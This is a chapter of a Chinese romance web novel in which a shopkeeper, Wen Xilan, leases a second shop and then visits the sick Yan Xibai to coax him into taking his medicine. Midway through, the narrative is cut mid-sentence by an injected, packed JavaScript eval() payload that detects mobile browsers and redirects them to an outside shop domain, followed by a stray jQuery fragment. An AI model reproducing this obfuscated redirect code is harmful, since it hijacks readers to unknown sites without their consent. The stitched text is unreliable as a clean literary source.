“王婶子了,怎么了?”
王婆子压低了声音,左右看了看才凑过来:“我跟你说个事儿,你可得留心着些。”
温夕岚见她神色紧张,也跟着正色起来:“您说。”
“今儿下午,有个人到我摊子上买豆腐,东拉西扯问东问西的,最后绕到那铺子上头去了,问我这店开了多久,一个月能挣多少,房东是谁,什么都打听。”
王婆子拍了拍大腿:“我一听就不对劲,哪有买豆腐的问这些?我多了个心眼没全说,就含糊应付过去了,回来越想越不踏实,赶紧过来跟你提一声。”
温夕岚眉头微蹙,但神色倒还算平静,点了点头:“多谢王婶子,我知道了。”
王婆子见她不慌不忙的,反倒有些急了:“你可别不当回事啊,我给你说,柳叶巷这地段可是紧俏的很,你要是想要租,就得赶紧定了。”
“婶子放心。”温夕岚温声安抚道:“我心里有数,明日我就去跟房东说一声,反正隔壁那铺子也是他的,我索性一并租下来,两间打通了,省得他再找中人,也省得有人打主意。”
“行,你有主意就行。”王婆子又叮嘱了几句,这才提着菜篮子走了。
第二日一早,温夕岚就让范常明去找了房东。
范常明办事利落,不到晌午就把契约签了回来,隔壁那间铺子算是彻底定下了。
温夕岚看着契约上的红印,心里安定了大半。
现在只等着找个吉日把两间铺子之间的隔墙打通,到时候店面大了一倍,能多摆好几张桌子。
傍晚时分,店里的客人渐渐散了,温夕岚正在店里和李倩云商量着事,就听见外头传来马车碾过青石板的声响。
她抬头望去,就瞧见宴一驾着马车停在了门前。
温夕岚心头一跳,还以为是宴溪白来了,连忙起身迎出去。
宴一下了车,规规矩矩地行了个礼:“温老板。”
温夕岚往车里瞅了一眼没见着人,正纳闷呢,就注意到宴一的表情有些不对,眉宇间带着几分为难。
她心下一转,开口道:“宴小哥进来说吧。”
宴一犹豫了一下,还是跟着她进了后院。
温夕岚给他倒了杯水,直截了当地问:“怎么了?是不是宴公子出了什么事?”
宴一捧着杯子,挠了挠头,一脸为难地开口:“温老板,我有件事想请你帮个忙。”
“你说。”
宴一深吸一口气,像是下了很大决心才说出口:“公子他......过了病气,已经两日了,但他不肯吃药,谁劝都不听,我实在是没法子了。”
他抬起头,带着恳请:“公子平日里就不太听我们的,但我想着,若是你去劝劝,兴许能管用些。”
温夕岚心尖一冰,担忧询问:“病了两日?什么病?严重不严重?”
“大夫说是风寒入体,不算太重,但公子不吃药,一直硬熬着,我担心熬坏了,所以才来请你过去。”
温夕岚二话没说,站起身就往外走:“走,你带我去看看。”
宴一怔愣了下,随即面露喜色,连忙跟了上去。
温夕岚快步回到店里,朝着李倩云几人嘱咐:“范先生,倩云,你们看着店,到时辰就关门,我出去一趟,十三,你跟我一起。”
李倩云见她一脸紧色,连忙点了点头:“哎!好!”
宴十三也没多问,点了点头跟上了她的脚步。
温夕岚走了一段,又折回到柜子前,把里头给宴溪白备着的那袋零嘴布袋里抱在怀里,这才出了门。
三人上了马车后,宴一简短的把情况跟宴十三说了一遍。
宴十三一听,脸顿时皱成了一团,
见温夕岚面露不解,她苦着脸解释:“温老板,你是不知道,公子素来最讨厌苦的东西,往常一旦病了,死活不肯吃药,都是靠硬熬着过的。”
她无奈的叹了口气:“有一年冬日里风寒,烧得人都有些糊涂了,我们端着药在旁边守了一整夜,他愣是一口都不肯喝,谁劝都不管用,所以我们最怕的就是公子生病。”
温夕岚听完,眉头皱得更深了,她没再说话,只把怀里的布袋抱紧了些,之后三人一路无言。
马车不知晃了多久,隐约瞧见窗外的天色已经完全暗了下来,街头的烛火照进马车里,明明灭灭的映着几人的脸。
就在温夕岚想问还有多久的时候,车停了。
宴十三扶着温夕岚下了车,两人跟着宴一从侧门进了府。
温夕岚心里担忧宴溪白,一路也没顾上看四周的景致,只觉得这院子比她去过的所有富贵人家都大得多。
廊道连着院门,走了一道又一道,曲曲折折的好似走不完似的,一路走得她腿都有些酸了。
宴十三见状,连忙从后头搀住她的胳膊:“温老板,慢些走。”
三人又走了好一阵,终于在了一处瞧着就很气派豪华的门边停了下来。
宴一躬身上前敲了敲门:“公子。”
“进。”屋里头传来宴溪白的声音,带着明显的沙哑。
听到声音,宴一和宴十三便停在了门外,朝着温夕岚点头示意。
温夕岚看了两人一眼,推门走了进去,屋子远比她想象的要大,但此刻她无心去欣赏,只循着灯火一路往里进。
绕过一座屏风,就看到那个熟悉的身影。
宴溪白正坐在椅子上,外衫随意地披在肩头,头发用一根木簪松松挽着,几缕碎发垂在脸侧。
他手里拿着什么东西在看,偶尔不舒服地蹙一下眉,仔细听就能发现,他呼吸有些粗重。
温夕岚站在原地看了他一会,他也没察觉。
直到过了好一会,察觉来人没出声,他才疑惑的抬头。
待目光落在她身上时,整个人有一瞬间的怔愣,随即那双素来清淡的眸子在烛火下,都能清晰分明的瞧见里头掀起的惊喜和亮色。
他放下手里的东西,起身朝她走来:“你怎么来了?”
温夕岚把怀里的布袋放在屋内的圆桌上,温声抬头:“听说您病了,我过来瞧瞧。”
宴溪白下意识地偏了下头,神色有些不自在:“不过是小事,不必跑一趟。”
温夕岚没接这话,转而问道:“您可忙完了?”
宴溪白点了点头:“都是些琐事。”
“可用了饭?”
宴溪白顿了一下:“......没什么胃口。”
温夕岚闻言走上前,牵着他的袖子把他带到一侧的圆桌前坐下,然后半蹲在他面前,仰着脸柔声道:“宴一说厨里熬了粥,我也还没吃晚食呢,我陪您一起吃些,可好?”
宴溪白看着她沉默了片刻,终是点了点头。
“宴小哥,劳烦你叫人送粥过来。”温夕岚依旧看着他,提了声朝外头的喊了一句。
宴一应了声,脚步很快就远了。
不多时,门被轻轻叩了两下,宴一推门进来,身后跟着宴十三和几个端着托盘的丫鬟。
待丫鬟们将菜布好,温夕岚打开砂锅,里头是一锅稠糯的白粥,一侧放着几道清淡的小菜和时蔬。
还有一盅鸡汤,汤色清透,面上浮着几粒枸杞,旁边整整齐齐地码着两副碗筷。
宴一低声道:“温老板,厨房里备的就是这些,你看可还缺什么,我再去取。”
温夕岚扫了一眼桌上的东西,柔着声道:“够了,辛苦你们了。”
宴一和宴十三对视一眼,便躬身退了出去,顺手把门带上了。
温夕岚舀了两碗白粥,一碗递给宴溪白,一碗放在自己面前。
她自己先吃了一口尝了味道,抬头冲他笑了笑:“粥是温的,您试试。”
“嗯。”
见宴溪白吃了两口,她眉眼温软带着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17542123|202224||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
鼓励,就这么一口带一口的,桌上的东西倒是吃了大半。
等两人吃完了,丫鬟们利落地把桌子收拾干净,温夕岚起身走到门口,就看见宴一端着药站在外头,满脸期待的看着她。
“我来吧。”温夕岚伸出手接过来。
宴一如释重负,连忙把药碗递给她:“有劳温老板了。”
温夕岚端药进了屋,把药放在桌上后,一转头就看到宴溪白侧坐在椅子上,目光嫌弃的瞟了一眼那碗药,又蹙着眉把身子转过去了一点。
温夕岚忍不住笑了一声。
这药确实闻着就苦。
她也没急着劝,而是从带来的布袋里翻出一包干蜜枣,倒了两颗在茶碗里,又添了些温水泡着,然后耐心地用手一下一下地扇凉,就那么安静耐心的等着那水降温。
宴溪白不知什么时候已经转过身来,定定地看着她。
温夕岚感觉到那道目光,柔着声把手里的茶杯递过去:“这蜜枣是宁婶子做的,用野蜂蜜泡过再晒干的,干吃或是泡水都好,初入口不会很甜,但吃过以后嘴里的甜味能留很久呢,您尝尝?”
宴溪白接过喝了一口,点了点头:“还不错。”
温夕岚笑了笑,朝他眨了眨眼。
宴溪白却忽然别过头,语气里带着点不自在:“药很苦......”
温夕岚嗯了一声,她端起药,小心仔细地用勺子慢慢搅拌散热。
她一边搅,一边笑着开口:“小时候我有一回染了风寒,也是嫌药苦,就趁我阿娘不注意,偷偷把药倒进了泡菜坛子里,后来被我阿娘发现了,追着我满院子跑,谁知道竟跑出了一身汗,病反倒好了,那一阵子家里的泡菜全都是带着药味的,我爹吃得眼都绿了,从那以后,提到泡菜他就头疼。”
宴溪白听着,唇角不自觉地勾了一下。
温夕岚搅了一会,觉得温度差不多了,便舀了一勺送进嘴里,一瞬间苦意蔓延,她忍不住皱起了整张脸:“嗯......这味道还是那么让人讨厌。”
她连忙给自己塞了一颗蜜枣,嚼开了一会,眉头才舒展开来。
宴溪白定定地看了她一会,无声的伸出手。
温夕岚眯着眼笑了,把碗推到他面前,轻声哄道:“一口喝完,就不会那么苦了。”
宴溪白嫌弃的看了那碗褐色的汤汁一眼,仰起头一口就把那药送入口中,随后立即端起那杯蜜枣水,急急的喝了一大口。
待嘴里那股苦味被压下来,他才放下杯子定睛看向温夕岚,眸里带着明显的控诉。
温夕岚失笑,低头又给他倒了一杯温水,柔声哄道:“明日我问问,能不能把苦味去些,可好?”
宴溪白一口将那蜜水喝完,又把那空了的茶杯推过来,指尖不经意地碰到了她的手背:“还是很苦。”
温夕岚的耳尖微微红了一下,摇头道:“也不能多喝,若是抵了药性,那您可不就白受罪了?”
宴溪白瞧了那茶杯一眼,起身走到一侧的贵妃椅闭目躺着,神色不辨喜怒,好似刚才那抱怨药苦的模样只是她的幻觉。
温夕岚心下一阵温软,她走过去蹲在他身侧,轻轻摇了摇他手臂,晃了好几下,宴溪白才懒洋洋的睁开眼,就那么定定地看着她。
她眉眼弯弯,脸上带着纵容的笑意,从手里的布袋推出来一颗酸梅:“喏,您别不高兴了。”
宴溪白低头把那酸梅咬进嘴里,随着那股咸酸带甜的滋味在口中蔓延开来,将嘴里残余的苦味彻底压下,这才不情不愿的轻哼一声。
温夕岚见他额见有一丝碎发散落,她轻轻替他拨弄好,指尖垂在他脸侧时,似想感知他皮肤的温度,但又察觉到这个动作有些冒犯,微蜷着犹豫收回。
就在她想退开的时候,宴溪白歪了歪头,轻轻用脸蹭了蹭她的指尖,灯影幢幢间,他双眸中微微漾开的笑意潋滟生辉,温柔得叫人心口发烫。